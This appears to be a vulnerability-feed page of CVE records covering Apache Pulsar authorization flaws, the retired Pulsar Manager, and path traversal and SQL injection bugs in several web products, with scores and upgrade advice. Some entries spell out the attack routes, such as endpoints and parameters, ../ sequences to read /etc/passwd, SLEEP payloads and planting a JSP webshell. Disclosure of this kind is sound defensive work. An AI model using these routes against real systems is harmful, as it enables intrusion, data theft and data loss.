This issue only affects deployments in which package management is enabled with the broker setting enablePackagesManagement and the filesystem storage provider (FileSystemPackagesStorageProvider) is configured with the setting packagesManagementStorageProvider. Package management is disabled by default, and the default storage provider, which stores packages in Apache BookKeeper, is not affected.

This issue affects Apache Pulsar versions from 2.10.0 before 4.0.14 and from 4.1.0 before 4.2.5.

- 4.0.x version users should upgrade to at least 4.0.14.
- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

The currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at
CVSS 7.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105945).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105945&date=2026-10-25).
Sources:
NVD CVE-2026-105945: https://nvd.nist.gov/vuln/detail/CVE-2026-105945
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105945&date=2026-10-25
The Pulsar Packages Management Service can be configured to store packages on the local filesystem of the broker by using the filesystem storage provider. Package names consist of a type, tenant, namespace, name and version. Authorization of package operations is based only on the tenant and namespace, while the storage location of a package is derived from all of these components. The version component of a package name was not validated, so it could contain URL-encoded path separators and parent directory references. The filesystem storage provider resolved such a version to a location belonging to a package in a different tenant or namespace. Because that location is inside the configured storage directory, the containment check that the filesystem storage provider performs in recent releases did not prevent the access.

An authenticated user who has the packages permission on any namespace could use this to download, overwrite or delete packages stored in other tenants or namespaces for which the user has no permission. Packages overwritten or deleted in this way may be used by Pulsar Functions, Sources or Sinks, so the issue can affect the integrity and availability of these components. If authentication is disabled, the operations are available to any client that can reach the broker's admin REST API.

This issue only affects deployments in which package management is enabled with the broker setting enablePackagesManagement and the filesystem storage provider (FileSystemPackagesStorageProvider) is configured with the setting packagesManagementStorageProvider. Package management is disabled by default, and the default storage provider, which stores packages in Apache BookKeeper, is not affected.

This issue affects Apache Pulsar versions from 2.10.0 before 4.0.14 and from 4.1.0 before 4.2.5.

- 4.0.x version users should upgrade to at least 4.0.14.
- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

The currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Pulsar Manager is a web console for administering Apache Pulsar clusters.
https://kevwire.com/record/CVE-2026-105944
Apache Pulsar Manager is a web console for administering Apache Pulsar clusters. (Oct 21, 2026).
Apache Pulsar Manager is a web console for administering Apache Pulsar clusters. It has its own user accounts and login, and it can be configured with an HTTP authentication credential, such as a token, that it uses to call the Pulsar admin API on behalf of its users. Pulsar Manager has the following security issues:

- The operation for creating the initial administrator (superuser) account is available without authentication, and it remains available after the instance has been initialized. Anyone who can reach Pulsar Manager can create an additional administrator account at any time and log in with it. This issue affects versions 0.3.0 and later.
- Requests to the Pulsar admin API that Pulsar Manager proxies to the configured Pulsar cluster are not subject to Pulsar Manager's authentication. Version 0.2.0 checks the caller's permissions for some of these requests, but not for all of them. An unauthenticated user can therefore use Pulsar Manager to send requests to the Pulsar admin API, which the cluster processes with the credential configured in Pulsar Manager.
- The destination of a proxied request can be chosen by the requester, and Pulsar Manager attaches its configured Pulsar admin credential to the request. An unauthenticated user can make Pulsar Manager send this credential to a host of the user's choosing, and the credential can then be used directly against the Pulsar cluster.
- In versions 0.3.0 and later, Pulsar Manager does not distinguish between privilege levels of its accounts. Every account, including one created through the first issue, effectively has full administrative privileges in Pulsar Manager.

The impact depends on the version and the deployment. In versions 0.3.0 and later, any user who can reach Pulsar Manager over the network can take full control of Pulsar Manager. In all versions, when Pulsar Manager is configured with an HTTP authentication credential for a Pulsar cluster, any user who can reach Pulsar Manager can perform the Pulsar admin operations that this credential permits and can obtain the credential itself. When Pulsar Manager is configured with the token signing key of a Pulsar cluster, an administrator of Pulsar Manag
CVSS 10.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105944).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105944&date=2026-10-25).
Sources:
NVD CVE-2026-105944: https://nvd.nist.gov/vuln/detail/CVE-2026-105944
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105944&date=2026-10-25
Apache Pulsar Manager is a web console for administering Apache Pulsar clusters. It has its own user accounts and login, and it can be configured with an HTTP authentication credential, such as a token, that it uses to call the Pulsar admin API on behalf of its users. Pulsar Manager has the following security issues:

- The operation for creating the initial administrator (superuser) account is available without authentication, and it remains available after the instance has been initialized. Anyone who can reach Pulsar Manager can create an additional administrator account at any time and log in with it. This issue affects versions 0.3.0 and later.
- Requests to the Pulsar admin API that Pulsar Manager proxies to the configured Pulsar cluster are not subject to Pulsar Manager's authentication. Version 0.2.0 checks the caller's permissions for some of these requests, but not for all of them. An unauthenticated user can therefore use Pulsar Manager to send requests to the Pulsar admin API, which the cluster processes with the credential configured in Pulsar Manager.
- The destination of a proxied request can be chosen by the requester, and Pulsar Manager attaches its configured Pulsar admin credential to the request. An unauthenticated user can make Pulsar Manager send this credential to a host of the user's choosing, and the credential can then be used directly against the Pulsar cluster.
- In versions 0.3.0 and later, Pulsar Manager does not distinguish between privilege levels of its accounts. Every account, including one created through the first issue, effectively has full administrative privileges in Pulsar Manager.

The impact depends on the version and the deployment. In versions 0.3.0 and later, any user who can reach Pulsar Manager over the network can take full control of Pulsar Manager. In all versions, when Pulsar Manager is configured with an HTTP authentication credential for a Pulsar cluster, any user who can reach Pulsar Manager can perform the Pulsar admin operations that this credential permits and can obtain the credential itself. When Pulsar Manager is configured with the token signing key of a Pulsar cluster, an administrator of Pulsar Manager can create tokens for the cluster.

Apache Pulsar Manager is no longer maintained and is completely unsupported. The Apache Pulsar PMC has retired it. There are no supported versions, and no further releases, fixes or security updates will be made for any version. These issues will not be fixed.

Using Pulsar Manager is not recommended. Users should stop using Pulsar Manager, remove existing deployments, and move to one of the alternatives described in the Administration UI documentation (https://pulsar.apache.org/docs/administration-ui). Users who have exposed Pulsar Manager configured with a Pulsar credential or token signing key should also consider replacing that credential or key.

Until a deployment is removed, users should not expose Pulsar Manager to untrusted networks, and should restrict network access to it to trusted administrators.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a configured proxy role sends a request to the broker on behalf of another user (the original principal), the broker is designed to authorize both the proxy role and the...
https://kevwire.com/record/CVE-2026-105942
When a configured proxy role sends a request to the broker on behalf of another user (the original principal), the broker is designed to authorize both the proxy role and the... (Oct 21, 2026).
When a configured proxy role sends a request to the broker on behalf of another user (the original principal), the broker is designed to authorize both the proxy role and the original principal and to allow the request only if both are authorized, so that the original principal cannot exceed its own permissions. Two flaws weakened this check.

First, the original principal was authorized with the proxy's authentication data instead of its own. On the admin REST API of the broker and the functions worker, this applied to every proxied request. On the Pulsar binary protocol, it applied when the proxy did not forward the client's credentials to the broker, which was the default of the Pulsar proxy in the affected versions. Authorization providers that resolve permissions from the role name only, such as the default authorization provider, are not affected by this flaw. The multi-role token authorization provider (MultiRolesTokenAuthorizationProvider), added in Apache Pulsar 2.8.1, resolves roles from the role claim of the token in the authentication data it is given. When a proxy authenticates to the broker with its own token, the original principal was therefore authorized with all roles in the proxy's token. If any of those roles is a superuser or tenant admin role, any user whose requests are forwarded by that proxy can perform operations that need those permissions without holding them. Custom authorization providers that use the authentication data could be affected in a similar way.

Second, independently of the authorization provider, the tenant admin check of a proxied admin REST API request succeeded without checking the original principal when the proxy role was itself an admin role of the tenant. In deployments where a proxy role is a tenant admin, including with the default authorization provider, any user whose requests are forwarded by that proxy could perform tenant administration operations on that tenant. This behavior is present from 2.8.4 in the 2.8.x releases, from 2.9.3 in the 2.9.x releases, and from 2.10.1 onwards.

Deployments that use neither the multi-role token authorization provider nor a custom provider that uses the authentication data
CVSS 7.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105942).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105942&date=2026-10-25).
Sources:
NVD CVE-2026-105942: https://nvd.nist.gov/vuln/detail/CVE-2026-105942
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105942&date=2026-10-25
When a configured proxy role sends a request to the broker on behalf of another user (the original principal), the broker is designed to authorize both the proxy role and the original principal and to allow the request only if both are authorized, so that the original principal cannot exceed its own permissions. Two flaws weakened this check.

First, the original principal was authorized with the proxy's authentication data instead of its own. On the admin REST API of the broker and the functions worker, this applied to every proxied request. On the Pulsar binary protocol, it applied when the proxy did not forward the client's credentials to the broker, which was the default of the Pulsar proxy in the affected versions. Authorization providers that resolve permissions from the role name only, such as the default authorization provider, are not affected by this flaw. The multi-role token authorization provider (MultiRolesTokenAuthorizationProvider), added in Apache Pulsar 2.8.1, resolves roles from the role claim of the token in the authentication data it is given. When a proxy authenticates to the broker with its own token, the original principal was therefore authorized with all roles in the proxy's token. If any of those roles is a superuser or tenant admin role, any user whose requests are forwarded by that proxy can perform operations that need those permissions without holding them. Custom authorization providers that use the authentication data could be affected in a similar way.

Second, independently of the authorization provider, the tenant admin check of a proxied admin REST API request succeeded without checking the original principal when the proxy role was itself an admin role of the tenant. In deployments where a proxy role is a tenant admin, including with the default authorization provider, any user whose requests are forwarded by that proxy could perform tenant administration operations on that tenant. This behavior is present from 2.8.4 in the 2.8.x releases, from 2.9.3 in the 2.9.x releases, and from 2.10.1 onwards.

Deployments that use neither the multi-role token authorization provider nor a custom provider that uses the authentication data are not affected by the first flaw, and with the multi-role token authorization provider, neither are deployments whose proxies do not authenticate to the broker with a token. Deployments in which no proxy role is listed as an admin role of a tenant are not affected by the second flaw. A proxy role that is a superuser but is not listed as a tenant admin does not trigger it, because the tenant admin check of the built-in authorization providers only considers the tenant's admin roles; this can differ for custom authorization providers that treat superusers as tenant admins.

In fixed versions, both the proxy role and the original principal are authorized for each proxied request, and the original principal is authorized only with its own authentication data. With the multi-role token authorization provider, the roles of a forwarded token are used for the original principal only when that token authenticates as the original principal; otherwise only the original principal's role name is used. For tenant admin checks, the proxy role and the original principal must each be a superuser or a tenant admin of the tenant.

This issue affects Apache Pulsar versions from 2.8.1 before 4.0.14 and from 4.1.0 before 4.2.5.

- 4.0.x version users should upgrade to at least 4.0.14.
- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

The currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Pulsar shadow topics (PIP-180) are topics that read the stored messages of a source topic from that topic's managed ledger.
https://kevwire.com/record/CVE-2026-105937
Apache Pulsar shadow topics (PIP-180) are topics that read the stored messages of a source topic from that topic's managed ledger. (Oct 21, 2026).
Apache Pulsar shadow topics (PIP-180) are topics that read the stored messages of a source topic from that topic's managed ledger. The source topic is selected by setting the reserved topic property PULSAR.SHADOW_SOURCE. The admin REST API accepts this property when creating a non-partitioned or partitioned topic and when updating the properties of an existing topic. On these paths the broker authorizes the caller only against the topic being created or updated. It does not authorize the caller against the source topic named in the property. The existing authorization for shadow topic configuration (the SHADOW_TOPIC topic policy on the source topic) is applied only to the source-side shadow topics admin API, not to these paths.

As a result, an authenticated user who is allowed to create topics or update topic properties in one tenant can bind a topic in that tenant to a persistent topic in any other tenant. With the default authorization provider, these operations require the tenant admin role for the user's own tenant. The user does not need any permission on the source topic, its namespace or its tenant. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be different.

The user can then consume from the shadow topic, using only permissions on their own topic, and receive retained messages that were published to the source topic in the other tenant. Exposure is limited to messages that are still retained and readable in the source topic's ledgers; messages protected with client-side end-to-end encryption cannot be decrypted without the encryption keys. A producer on the shadow topic can also register a new schema version under the source topic's schema, subject to the schema compatibility settings; existing schema versions are not replaced.

In addition, the shadow topic's managed ledger applies its own retention, trimming, offloading and deletion to the source topic's ledgers. This can permanently delete the source topic's ledger data from BookKeeper and from tiered storage, regardless of the source topic's own subscriptions and retention policy, including
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105937).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105937&date=2026-10-25).
Sources:
NVD CVE-2026-105937: https://nvd.nist.gov/vuln/detail/CVE-2026-105937
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105937&date=2026-10-25
Apache Pulsar shadow topics (PIP-180) are topics that read the stored messages of a source topic from that topic's managed ledger. The source topic is selected by setting the reserved topic property PULSAR.SHADOW_SOURCE. The admin REST API accepts this property when creating a non-partitioned or partitioned topic and when updating the properties of an existing topic. On these paths the broker authorizes the caller only against the topic being created or updated. It does not authorize the caller against the source topic named in the property. The existing authorization for shadow topic configuration (the SHADOW_TOPIC topic policy on the source topic) is applied only to the source-side shadow topics admin API, not to these paths.

As a result, an authenticated user who is allowed to create topics or update topic properties in one tenant can bind a topic in that tenant to a persistent topic in any other tenant. With the default authorization provider, these operations require the tenant admin role for the user's own tenant. The user does not need any permission on the source topic, its namespace or its tenant. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be different.

The user can then consume from the shadow topic, using only permissions on their own topic, and receive retained messages that were published to the source topic in the other tenant. Exposure is limited to messages that are still retained and readable in the source topic's ledgers; messages protected with client-side end-to-end encryption cannot be decrypted without the encryption keys. A producer on the shadow topic can also register a new schema version under the source topic's schema, subject to the schema compatibility settings; existing schema versions are not replaced.

In addition, the shadow topic's managed ledger applies its own retention, trimming, offloading and deletion to the source topic's ledgers. This can permanently delete the source topic's ledger data from BookKeeper and from tiered storage, regardless of the source topic's own subscriptions and retention policy, including messages that have not yet been acknowledged. Deleting the shadow topic can also delete the source topic's ledgers. This data loss can also affect shadow topics that were configured intentionally by administrators.

This issue affects Apache Pulsar versions from 3.0.0 before 4.0.14 and from 4.1.0 before 4.2.5. Apache Pulsar 2.x releases do not contain the shadow topic implementation.

- 4.0.x version users should upgrade to at least 4.0.14.
- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

The currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.

In the fixed versions, shadow topics are disabled by default and are controlled by the new broker configuration setting enableShadowTopics (default false). While it is disabled, the broker rejects creating shadow topics, setting the PULSAR.SHADOW_SOURCE property, and loading or replicating to existing shadow topics. Deployments that use shadow topics must set enableShadowTopics=true in the broker configuration of all brokers after upgrading; otherwise existing shadow topics will not be loaded. When shadow topics are enabled, binding a shadow topic to a source topic in a different tenant requires the superuser role. The fixed versions also prevent a shadow topic from deleting or trimming the ledgers and offloaded data of its source topic.

Affected versions provide no configuration option to disable shadow topics. Users who cannot upgrade immediately can reduce exposure by granting the tenant admin role only to trusted principals.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Apache Pulsar broker admin REST API provides a truncate operation for persistent topics (DELETE /admin/v2/persistent/{tenant}/{namespace}/{topic}/truncate).
https://kevwire.com/record/CVE-2026-105934
The Apache Pulsar broker admin REST API provides a truncate operation for persistent topics (DELETE /admin/v2/persistent/{tenant}/{namespace}/{topic}/truncate). (Oct 21, 2026).
The Apache Pulsar broker admin REST API provides a truncate operation for persistent topics (DELETE /admin/v2/persistent/{tenant}/{namespace}/{topic}/truncate). Truncating a topic moves all subscription cursors of the topic to the end of the topic and deletes the topic's inactive ledgers. Truncating a non-partitioned topic, or a single partition addressed by its partition name, correctly requires the tenant admin role or the superuser role. When the operation is requested for the name of a partitioned topic, the broker does not apply this tenant admin check to the caller. Instead, it truncates each partition using the broker's own internal admin client, which authenticates with the broker's configured client credentials rather than the caller's identity. Each per-partition truncate request is still checked for the tenant admin role or the superuser role, but against the broker's internal identity instead of the caller. The partitions are therefore truncated only when the broker's configured client role is a superuser or an admin of the target tenant, which is the usual configuration when authorization is enabled.

As a result, when that condition holds, an authenticated user who is not a tenant admin can truncate any partitioned topic on which the user has lookup permission. Caller authentication and lookup permission alone are not sufficient: if the broker's internal identity lacks tenant admin or superuser authorization for the target tenant, the per-partition requests are rejected. With the default authorization provider, lookup permission is granted by produce or consume permission on the topic or its namespace. A user with no permissions on the topic cannot trigger the issue. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be different.

Truncating a partitioned topic this way moves the cursors of all subscriptions on every partition to the end of the topic, so any unacknowledged backlog is skipped and is no longer delivered to consumers. It also deletes eligible older ledgers of each partition regardless of the namespace's configured retention policy,
CVSS 7.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105934).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105934&date=2026-10-25).
Sources:
NVD CVE-2026-105934: https://nvd.nist.gov/vuln/detail/CVE-2026-105934
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105934&date=2026-10-25
The Apache Pulsar broker admin REST API provides a truncate operation for persistent topics (DELETE /admin/v2/persistent/{tenant}/{namespace}/{topic}/truncate). Truncating a topic moves all subscription cursors of the topic to the end of the topic and deletes the topic's inactive ledgers. Truncating a non-partitioned topic, or a single partition addressed by its partition name, correctly requires the tenant admin role or the superuser role. When the operation is requested for the name of a partitioned topic, the broker does not apply this tenant admin check to the caller. Instead, it truncates each partition using the broker's own internal admin client, which authenticates with the broker's configured client credentials rather than the caller's identity. Each per-partition truncate request is still checked for the tenant admin role or the superuser role, but against the broker's internal identity instead of the caller. The partitions are therefore truncated only when the broker's configured client role is a superuser or an admin of the target tenant, which is the usual configuration when authorization is enabled.

As a result, when that condition holds, an authenticated user who is not a tenant admin can truncate any partitioned topic on which the user has lookup permission. Caller authentication and lookup permission alone are not sufficient: if the broker's internal identity lacks tenant admin or superuser authorization for the target tenant, the per-partition requests are rejected. With the default authorization provider, lookup permission is granted by produce or consume permission on the topic or its namespace. A user with no permissions on the topic cannot trigger the issue. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be different.

Truncating a partitioned topic this way moves the cursors of all subscriptions on every partition to the end of the topic, so any unacknowledged backlog is skipped and is no longer delivered to consumers. It also deletes eligible older ledgers of each partition regardless of the namespace's configured retention policy, so messages stored in those ledgers can be permanently lost. The ledger currently being written is not deleted by the truncate operation. The issue does not allow reading message contents or changing permissions or configuration, and it does not give access to topics on which the user has no lookup permission.

This issue affects Apache Pulsar versions from 2.8.0 before 4.0.14 and from 4.1.0 before 4.2.5.

- 4.0.x version users should upgrade to at least 4.0.14.
- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

The currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.

Users who cannot upgrade immediately can reduce exposure by restricting network access to the broker's admin REST API (/admin/v2) to trusted administrative clients.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### YouDataSum CPAS Audit Management System V4 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the fileId...
https://kevwire.com/record/CVE-2024-58396
YouDataSum CPAS Audit Management System V4 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the fileId... (Oct 22, 2026).
YouDataSum CPAS Audit Management System V4 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the fileId parameter. Attackers can send GET requests to /cpasm4/plugInManController/downPlugs with ../ sequences in fileId to retrieve system files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2025-01-13.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2024-58396).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-58396&date=2026-10-25).
Sources:
NVD CVE-2024-58396: https://nvd.nist.gov/vuln/detail/CVE-2024-58396
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-58396&date=2026-10-25
YouDataSum CPAS Audit Management System V4 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the fileId parameter. Attackers can send GET requests to /cpasm4/plugInManController/downPlugs with ../ sequences in fileId to retrieve system files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2025-01-13.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Penta Security WAPPLES 4.0.54.1, 5.0, and 6.0 contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files via the name parameter of...
https://kevwire.com/record/CVE-2022-51025
Penta Security WAPPLES 4.0.54.1, 5.0, and 6.0 contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files via the name parameter of... (Oct 22, 2026).
Penta Security WAPPLES 4.0.54.1, 5.0, and 6.0 contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files via the name parameter of /webapi/file/transfer. Attackers can send GET requests with type=db_backup and ../ sequences in name to read files like /etc/passwd, and a hardcoded systemi account makes authentication effectively trivial. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2022-51025).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-51025&date=2026-10-25).
Sources:
NVD CVE-2022-51025: https://nvd.nist.gov/vuln/detail/CVE-2022-51025
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-51025&date=2026-10-25
Penta Security WAPPLES 4.0.54.1, 5.0, and 6.0 contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files via the name parameter of /webapi/file/transfer. Attackers can send GET requests with type=db_backup and ../ sequences in name to read files like /etc/passwd, and a hardcoded systemi account makes authentication effectively trivial. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NotificationX plugin for WordPress 2.0.0 before 2.3.12 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by...
https://kevwire.com/record/CVE-2022-51021
NotificationX plugin for WordPress 2.0.0 before 2.3.12 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by... (Oct 22, 2026).
NotificationX plugin for WordPress 2.0.0 before 2.3.12 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by supplying an array-form 'id' parameter to /wp-json/notificationx/v1/notification/{id}. Attackers can pass id[1] with crafted SQL, such as time-based SLEEP payloads, along with an api_key derived from md5(home_url()), which flows unsanitized into Database::get_where_query to extract database contents. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2022-51021).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-51021&date=2026-10-25).
Sources:
NVD CVE-2022-51021: https://nvd.nist.gov/vuln/detail/CVE-2022-51021
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-51021&date=2026-10-25
NotificationX plugin for WordPress 2.0.0 before 2.3.12 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by supplying an array-form 'id' parameter to /wp-json/notificationx/v1/notification/{id}. Attackers can pass id[1] with crafted SQL, such as time-based SLEEP payloads, along with an api_key derived from md5(home_url()), which flows unsanitized into Database::get_where_query to extract database contents. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer design_save_svg operation that allows unauthenticated attackers to write arbitrary files via...
https://kevwire.com/record/CVE-2021-48014
FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer design_save_svg operation that allows unauthenticated attackers to write arbitrary files via... (Oct 22, 2026).
FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer design_save_svg operation that allows unauthenticated attackers to write arbitrary files via the filePath parameter. Attackers can send a POST request with directory traversal sequences in filePath and a __CONTENT__ payload to write a JSP webshell and achieve remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48014).
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48014&date=2026-10-25).
Sources:
NVD CVE-2021-48014: https://nvd.nist.gov/vuln/detail/CVE-2021-48014
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48014&date=2026-10-25
FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer design_save_svg operation that allows unauthenticated attackers to write arbitrary files via the filePath parameter. Attackers can send a POST request with directory traversal sequences in filePath and a __CONTENT__ payload to write a JSP webshell and achieve remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SeaCMS through 8.7 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by injecting SQL through the rlist[] array...
https://kevwire.com/record/CVE-2019-25778
SeaCMS through 8.7 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by injecting SQL through the rlist[] array... (Oct 22, 2026).
SeaCMS through 8.7 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by injecting SQL through the rlist[] array parameter. Attackers can send GET requests to /comment/api/index.php with crafted rlist[] values using backtick-quoted variables and extractvalue to extract database information via error messages. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2019-25778).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-25778&date=2026-10-25).
Sources:
NVD CVE-2019-25778: https://nvd.nist.gov/vuln/detail/CVE-2019-25778
